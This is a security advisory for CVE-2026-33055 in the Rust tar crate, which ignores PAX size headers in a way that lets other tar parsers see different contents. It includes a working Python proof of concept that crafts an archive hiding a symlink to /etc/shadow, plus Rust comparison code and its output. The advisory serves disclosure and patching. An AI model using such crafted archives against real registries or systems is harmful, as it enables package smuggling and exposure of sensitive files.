GHSA-GCHP-Q4R4-X4FF
Vulnerability from github – Published: 2026-03-20 17:25 – Updated: 2026-03-25 18:36Summary
As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.
However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.
The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.
In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.
Details
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
PoC
(originally posted by https://github.com/xokdvium)
I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:
It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
#!/usr/bin/env python3
B = 512
def pad(d):
r = len(d) % B
return d + b"\0" * (B - r) if r else d
def hdr(name, size, typ=b"0", link=b""):
h = bytearray(B)
h[0 : len(name)] = name
h[100:107] = b"0000644"
h[108:115] = h[116:123] = b"0001000"
h[124:135] = f"{size:011o}".encode()
h[136:147] = b"00000000000"
h[148:156] = b" "
h[156:157] = typ
if link:
h[157 : 157 + len(link)] = link
h[257:263] = b"ustar\x00"
h[263:265] = b"00"
h[148:155] = f"{sum(h):06o}\x00".encode()
return bytes(h)
INFLATED = 2048
pax_rec = b"13 size=2048\n"
ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)
content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)
ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2
used = len(ar) - mark
if used < INFLATED:
ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2
open("smuggle.tar", "wb").write(bytes(ar))
tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).
use std::fs;
use std::path::PathBuf;
fn sync_parse(data: &[u8]) {
println!("tar:");
let mut ar = tar::Archive::new(data);
for e in ar.entries().unwrap() {
let e = e.unwrap();
let path = e.path().unwrap().to_path_buf();
let kind = e.header().entry_type();
let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
match link {
Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()),
None => println!(" {:20} {:?}", path.display(), kind),
}
}
println!();
}
async fn async_parse(data: Vec<u8>) {
println!("astral-tokio-tar:");
let mut ar = tokio_tar::Archive::new(data.as_slice());
let mut entries = ar.entries().unwrap();
while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
let e = e.unwrap();
let path = e.path().unwrap().to_path_buf();
let kind = e.header().entry_type();
let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
match link {
Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()),
None => println!(" {:20} {:?}", path.display(), kind),
}
}
println!();
}
#[tokio::main]
async fn main() {
let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
let data = fs::read(&path).unwrap();
sync_parse(&data);
async_parse(data).await;
}
tar:
regular.txt Regular
smuggled Symlink -> /etc/shadow
astral-tokio-tar:
regular.txt Regular
Impact
This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.44"
},
"package": {
"ecosystem": "crates.io",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33055"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T17:25:05Z",
"nvd_published_at": "2026-03-20T07:16:13Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAs part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.\n\nHowever, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.\n\nThe problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.\n\nIn this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.\n\n\n### Details\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n### PoC\n\n(originally posted by https://github.com/xokdvium)\n\n\n\u003e I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:\n\nIt seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n```python\n#!/usr/bin/env python3\nB = 512\n\n\ndef pad(d):\n r = len(d) % B\n return d + b\"\\0\" * (B - r) if r else d\n\n\ndef hdr(name, size, typ=b\"0\", link=b\"\"):\n h = bytearray(B)\n h[0 : len(name)] = name\n h[100:107] = b\"0000644\"\n h[108:115] = h[116:123] = b\"0001000\"\n h[124:135] = f\"{size:011o}\".encode()\n h[136:147] = b\"00000000000\"\n h[148:156] = b\" \"\n h[156:157] = typ\n if link:\n h[157 : 157 + len(link)] = link\n h[257:263] = b\"ustar\\x00\"\n h[263:265] = b\"00\"\n h[148:155] = f\"{sum(h):06o}\\x00\".encode()\n return bytes(h)\n\n\nINFLATED = 2048\npax_rec = b\"13 size=2048\\n\"\n\nar = bytearray()\nar += hdr(b\"./PaxHeaders/regular\", len(pax_rec), typ=b\"x\")\nar += pad(pax_rec)\n\ncontent = b\"regular\\n\"\nar += hdr(b\"regular.txt\", len(content))\nmark = len(ar)\nar += pad(content)\n\nar += hdr(b\"smuggled\", 0, typ=b\"2\", link=b\"/etc/shadow\")\nar += b\"\\0\" * B * 2\n\nused = len(ar) - mark\nif used \u003c INFLATED:\n ar += b\"\\0\" * (((INFLATED - used + B - 1) // B) * B)\nar += b\"\\0\" * B * 2\n\nopen(\"smuggle.tar\", \"wb\").write(bytes(ar))\n```\n\n`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn\u0027t disallow it).\n\n```rust\nuse std::fs;\nuse std::path::PathBuf;\n\nfn sync_parse(data: \u0026[u8]) {\n println!(\"tar:\");\n let mut ar = tar::Archive::new(data);\n for e in ar.entries().unwrap() {\n let e = e.unwrap();\n let path = e.path().unwrap().to_path_buf();\n let kind = e.header().entry_type();\n let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n match link {\n Some(l) =\u003e println!(\" {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n None =\u003e println!(\" {:20} {:?}\", path.display(), kind),\n }\n }\n println!();\n}\n\nasync fn async_parse(data: Vec\u003cu8\u003e) {\n println!(\"astral-tokio-tar:\");\n let mut ar = tokio_tar::Archive::new(data.as_slice());\n let mut entries = ar.entries().unwrap();\n while let Some(e) = tokio_stream::StreamExt::next(\u0026mut entries).await {\n let e = e.unwrap();\n let path = e.path().unwrap().to_path_buf();\n let kind = e.header().entry_type();\n let link: Option\u003cPathBuf\u003e = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n match link {\n Some(l) =\u003e println!(\" {:20} {:?} -\u003e {}\", path.display(), kind, l.display()),\n None =\u003e println!(\" {:20} {:?}\", path.display(), kind),\n }\n }\n println!();\n}\n\n#[tokio::main]\nasync fn main() {\n let path = std::env::args().nth(1).unwrap_or(\"smuggle.tar\".into());\n let data = fs::read(\u0026path).unwrap();\n sync_parse(\u0026data);\n async_parse(data).await;\n}\n```\n\n```\ntar:\n regular.txt Regular\n smuggled Symlink -\u003e /etc/shadow\n\nastral-tokio-tar:\n regular.txt Regular\n```\n\n### Impact\n\nThis can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.",
"id": "GHSA-gchp-q4r4-x4ff",
"modified": "2026-03-25T18:36:15Z",
"published": "2026-03-20T17:25:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33055"
},
{
"type": "WEB",
"url": "https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946"
},
{
"type": "PACKAGE",
"url": "https://github.com/alexcrichton/tar-rs"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0068.html"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62518"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "tar-rs incorrectly ignores PAX size headers if header size is nonzero"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.